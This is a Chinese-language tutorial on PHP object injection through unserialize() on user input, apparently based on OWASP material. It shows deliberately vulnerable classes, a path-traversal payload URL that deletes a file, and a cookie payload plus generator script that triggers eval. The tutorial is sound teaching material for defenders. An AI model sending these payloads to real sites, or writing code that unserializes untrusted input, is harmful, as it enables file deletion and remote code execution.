反序列化的安全問題

使用 unserialize 函式從使用者輸入反序列化資料可能很危險。

來自 php.net 的警告

警告不要將不受信任的使用者輸入傳遞給 unserialize()。由於物件例項化和自動載入,反序列化可能導致程式碼被載入和執行,惡意使用者可能能夠利用它。如果需要將序列化資料傳遞給使用者,請使用安全的標準資料交換格式,如 JSON(通過 json_decode() 和 json`_encode()`)。

可能的攻擊

  • PHP 物件注入

PHP 物件注入

PHP 物件注入是一個應用程式級漏洞,可能允許攻擊者執行不同型別的惡意攻擊,例如程式碼注入,SQL 注入,路徑遍歷和應用程式拒絕服務,具體取決於上下文。在將使用者提供的輸入傳遞給 unserialize()PHP 函式之前未正確清理時,會發生此漏洞。由於 PHP 允許物件序列化,因此攻擊者可以將特殊的序列化字串傳遞給易受攻擊的 unserialize() 呼叫,從而導致任意 PHP 物件注入應用程式範圍。

為了成功利用 PHP Object Injection 漏洞,必須滿足兩個條件:

  • 應用程式必須具有一個實現 PHP 魔術方法(如 __wakeup__destruct)的類,可用於執行惡意攻擊或啟動“POP 鏈”。
  • 必須在呼叫易受攻擊的 unserialize() 時宣告攻擊期間使用的所有類,否則必須支援此類的物件自動載入。

示例 1 - 路徑遍歷攻擊

下面的示例顯示了一個帶有可利用的 __destruct 方法的 PHP 類:

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

在此示例中,攻擊者可能能夠通過 Path Traversal 攻擊刪除任意檔案,例如請求以下 URL:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

示例 2 - 程式碼注入攻擊

下面的示例顯示了一個帶有可利用的__wakeup 方法的 PHP 類:

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

在此示例中,攻擊者可能通過傳送如下 HTTP 請求來執行程式碼注入攻擊:

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

通過以下指令碼生成 cookie 引數 data 的位置:

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));